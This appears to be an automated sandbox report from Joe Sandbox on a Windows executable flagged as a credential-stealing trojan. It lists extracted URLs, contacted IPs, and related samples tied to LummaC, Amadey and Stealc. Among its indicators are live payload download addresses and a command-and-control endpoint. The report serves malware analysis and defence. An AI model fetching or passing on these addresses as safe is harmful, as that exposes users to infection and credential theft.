https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1392504386.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392389216.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392340632.0000000005DDC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/K	file.exe, 00000000.00000003.1443418925.00000000016D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1392504386.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392389216.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392340632.0000000005DDC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_116.6.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_96.6.dr, chromecache_107.6.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1392504386.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392389216.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392340632.0000000005DDC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_116.6.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_96.6.dr, chromecache_107.6.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_96.6.dr, chromecache_107.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_107.6.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_96.6.dr, chromecache_107.6.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_116.6.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_96.6.dr, chromecache_107.6.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_116.6.dr	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1443780433.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1443780433.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_96.6.dr, chromecache_107.6.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_116.6.dr, chromecache_80.6.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1392504386.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392389216.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392340632.0000000005DDC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_96.6.dr, chromecache_107.6.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_96.6.dr, chromecache_107.6.dr	false		high
http://185.215.113.16/off/def.exem	file.exe, 00000000.00000002.1719524648.000000000166D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/gewarren	chromecache_116.6.dr	false		high
http://185.215.113.16/off/def.exepleWebKit/537.36	file.exe, 00000000.00000002.1719291955.000000000133A000.00000004.00000010.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1444630305.0000000005EAF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_96.6.dr, chromecache_107.6.dr	false		high
https://cook-rain.sbs/apiIq	file.exe, 00000000.00000003.1490625483.0000000005DA1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_116.6.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_116.6.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_96.6.dr, chromecache_107.6.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_96.6.dr, chromecache_107.6.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_96.6.dr, chromecache_107.6.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1392504386.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392389216.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392340632.0000000005DDC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_116.6.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_96.6.dr, chromecache_107.6.dr	false		high
https://aka.ms/certhelp	chromecache_96.6.dr, chromecache_107.6.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000002.1719524648.000000000166D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000000.00000003.1444945435.00000000016EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/	file.exe, 00000000.00000003.1490625483.0000000005DA1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1467225096.00000000016D0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1443418925.00000000016D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1392504386.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392389216.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392340632.0000000005DDC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1443780433.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_116.6.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1443780433.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_107.6.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_96.6.dr, chromecache_107.6.dr	false		high
https://cook-rain.sbs/v	file.exe, 00000000.00000003.1414505223.0000000005D9A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1415382415.0000000005D9A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1467150089.0000000005DA0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1415421162.0000000005D9D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1443310392.0000000005D9D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1414314802.0000000005D9D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1414885946.0000000005D9A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1392504386.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392389216.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392340632.0000000005DDC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1444630305.0000000005EAF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_116.6.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1392504386.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392389216.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392340632.0000000005DDC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_116.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_96.6.dr, chromecache_107.6.dr	false		high
https://github.com/adegeo	chromecache_116.6.dr	false		high
https://cook-rain.sbs:443/api	file.exe, 00000000.00000003.1508878962.00000000016D0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1508921843.00000000016D7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.1444945435.00000000016EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_96.6.dr, chromecache_107.6.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.1443780433.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_96.6.dr, chromecache_107.6.dr	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000000.00000003.1444945435.00000000016EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	file.exe, 00000000.00000003.1444945435.00000000016EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000003.1444945435.00000000016EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_96.6.dr, chromecache_107.6.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000002.1719524648.000000000166D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1643665975.00000000016DA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_116.6.dr	false		high
https://channel9.msdn.com/	chromecache_96.6.dr, chromecache_107.6.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1392504386.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392389216.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392340632.0000000005DDC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_96.6.dr, chromecache_107.6.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	file.exe, 00000000.00000003.1444945435.00000000016EE000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
13.107.246.60	s-part-0032.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.96.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.7

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559827
Start date and time:	2024-11-21 00:01:52 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/64@9/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 184.28.89.167, 216.58.212.131, 64.233.184.84, 142.250.186.46, 95.101.150.2, 34.104.35.123, 20.42.65.91, 142.250.185.234, 172.217.18.106, 142.250.185.74, 142.250.181.234, 216.58.206.42, 142.250.185.170, 142.250.184.234, 142.250.186.170, 142.250.186.138, 172.217.16.202, 142.250.185.106, 142.250.186.42, 142.250.184.202, 142.250.186.106, 172.217.18.10, 142.250.185.202, 2.19.126.156, 2.19.126.137, 20.189.173.13, 13.74.129.1, 204.79.197.237, 13.107.21.237, 216.58.206.35, 142.250.185.174
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, onedscolprdeus17.eastus.cloudapp.azure.com, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, time.windows.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, onedscolprdwus12.westus.cloudapp.azure.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net,
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
18:02:58	API Interceptor	40x Sleep call for process: file.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://learn.microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://learn.microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Register now", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The URL 'learn.microsoft.com' is a subdomain of 'microsoft.com', which is the legitimate domain for Microsoft.", "Microsoft is a well-known brand with a strong online presence.", "The URL does not contain any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The subdomain 'learn' is commonly used by Microsoft for educational and documentation purposes." ], "riskscore": 1}
URL: learn.microsoft.com Brands: Microsoft Input Fields: u, n, k, n, o, w, n

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
185.215.113.16	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	HnJdZm51Xl.exe	Get hash	malicious	Amadey, Clipboard Hijacker	Browse	185.215.113.16/clip/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cook-rain.sbs	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.155.248
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	104.21.66.38
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.66.38
s-part-0017.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://groupjlansen.com/?klkzhkfz	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	4eN2SiSDvl.exe	Get hash	malicious	INC Ransomware, Xmrig	Browse	13.107.246.45
	https://hffa.studycentrecpfc.com/D9ns6.studycentrecpfc.com/bUhZb/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	2gWkB5jBPQ.exe	Get hash	malicious	INC Ransomware	Browse	13.107.246.45
	2qxCjBJF4P.exe	Get hash	malicious	INC Ransomware	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	AI_ChainedPackageFile.VistaSoftware.exe	Get hash	malicious	PureCrypter	Browse	13.107.246.45
	KEFttAEb.vbs	Get hash	malicious	PureCrypter	Browse	13.107.246.45
s-part-0032.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.60
	Portfolio Review _2024.html	Get hash	malicious	Unknown	Browse	13.107.246.60
	NoteID [4962398] _Secure_Document_Mrettinger-46568.docx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	https://www.google.ki/url?Obdy=o1RbVZ9nKE3ZhJRHbKGv&cgsr=bnJtdqeStbk73BcMC6fs&sa=t&wofc=4hzzg6rsjrHHZ2kN1m3A&url=amp%2Fplimmerton.org.nz%2Fjugz%2F#oetqVE-SUREDANNSmFtaWUuQmVsbEBlbGthbWV0LmNvbQ==	Get hash	malicious	Unknown	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://binusianorg-my.sharepoint.com/personal/radja_hizbullah_binus_ac_id/_layouts/15/guestaccess.aspx?share=ETHY_S_rOwNFgVsgBzxZDRgB0fQxIDkLS5qX9M9nLivRaw&e=mq1rkf	Get hash	malicious	Unknown	Browse	13.107.136.10
	Invoice PSI-3102.msg	Get hash	malicious	Unknown	Browse	52.109.76.243
	Invoice PSI-3102.msg	Get hash	malicious	Unknown	Browse	52.123.243.182
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	original.eml	Get hash	malicious	Unknown	Browse	52.109.76.144
	https://floreslaherradura.com/?uid=a2FuZGVyc29uQGJxbGF3LmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	https://ambir.com/ambir-card-scanners/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	52.250.45.119
	SBAFLA TeamCALL marcia.main__ (lo).msg	Get hash	malicious	HTMLPhisher	Browse	52.109.76.243
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.46.162.227
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
CLOUDFLARENETUS	Document-v22-21-06.js	Get hash	malicious	Unknown	Browse	188.114.96.3
	Invoice PSI-3102.msg	Get hash	malicious	Unknown	Browse	104.21.54.76
	https://3r9e6kkr.r.us-east-1.awstrack.me/L0/https:%2F%2Fwww.google.ca%2Furl%3Fq=30NUMBER%26rct=77772474802481024856%26sa=t%26url=amp%2Fs%2Festudioit.cl%2Fstarl%2F%2523Y2FybGEuYWxkZW1pcjFAbWxjaW5zdXJhbmNlLmNvbS5hdQ==/1/0100019346ba248e-096005ca-8ea9-493d-b2f5-e0c34fd69fc0-000000/JH6rhkavYmTGSs9Zspd-vAN7bi8=401	Get hash	malicious	Unknown	Browse	104.26.8.44
	https://tally.so/widgets/embed.js	Get hash	malicious	Unknown	Browse	104.21.72.50
	Invoice PSI-3102.msg	Get hash	malicious	Unknown	Browse	172.67.136.194
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	login (9).htm	Get hash	malicious	Unknown	Browse	1.1.1.1
	original.eml	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://msn-n.com/?tgvlzvqc	Get hash	malicious	Unknown	Browse	104.21.56.221
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://binusianorg-my.sharepoint.com/personal/radja_hizbullah_binus_ac_id/_layouts/15/guestaccess.aspx?share=ETHY_S_rOwNFgVsgBzxZDRgB0fQxIDkLS5qX9M9nLivRaw&e=mq1rkf	Get hash	malicious	Unknown	Browse	13.107.136.10
	Invoice PSI-3102.msg	Get hash	malicious	Unknown	Browse	52.109.76.243
	Invoice PSI-3102.msg	Get hash	malicious	Unknown	Browse	52.123.243.182
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	original.eml	Get hash	malicious	Unknown	Browse	52.109.76.144
	https://floreslaherradura.com/?uid=a2FuZGVyc29uQGJxbGF3LmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	https://ambir.com/ambir-card-scanners/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	52.250.45.119
	SBAFLA TeamCALL marcia.main__ (lo).msg	Get hash	malicious	HTMLPhisher	Browse	52.109.76.243
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.46.162.227
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	HnJdZm51Xl.exe	Get hash	malicious	Amadey, Clipboard Hijacker	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://binusianorg-my.sharepoint.com/personal/radja_hizbullah_binus_ac_id/_layouts/15/guestaccess.aspx?share=ETHY_S_rOwNFgVsgBzxZDRgB0fQxIDkLS5qX9M9nLivRaw&e=mq1rkf	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	Document-v22-21-06.js	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://3r9e6kkr.r.us-east-1.awstrack.me/L0/https:%2F%2Fwww.google.ca%2Furl%3Fq=30NUMBER%26rct=77772474802481024856%26sa=t%26url=amp%2Fs%2Festudioit.cl%2Fstarl%2F%2523Y2FybGEuYWxkZW1pcjFAbWxjaW5zdXJhbmNlLmNvbS5hdQ==/1/0100019346ba248e-096005ca-8ea9-493d-b2f5-e0c34fd69fc0-000000/JH6rhkavYmTGSs9Zspd-vAN7bi8=401	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://tally.so/widgets/embed.js	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://www.cbirc.gov.cn/cn/view/pages/index/index.html	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://msn-n.com/?tgvlzvqc	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://floreslaherradura.com/?uid=a2FuZGVyc29uQGJxbGF3LmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	Benefit Enrollment -16oy1xb.pdf	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	BOA-everbridge.com-$29,890.html	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Fax-494885 Boswell Automotive Group.xlsx	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	aHPgKqtKWX.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	LETA_pdf.vbs	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
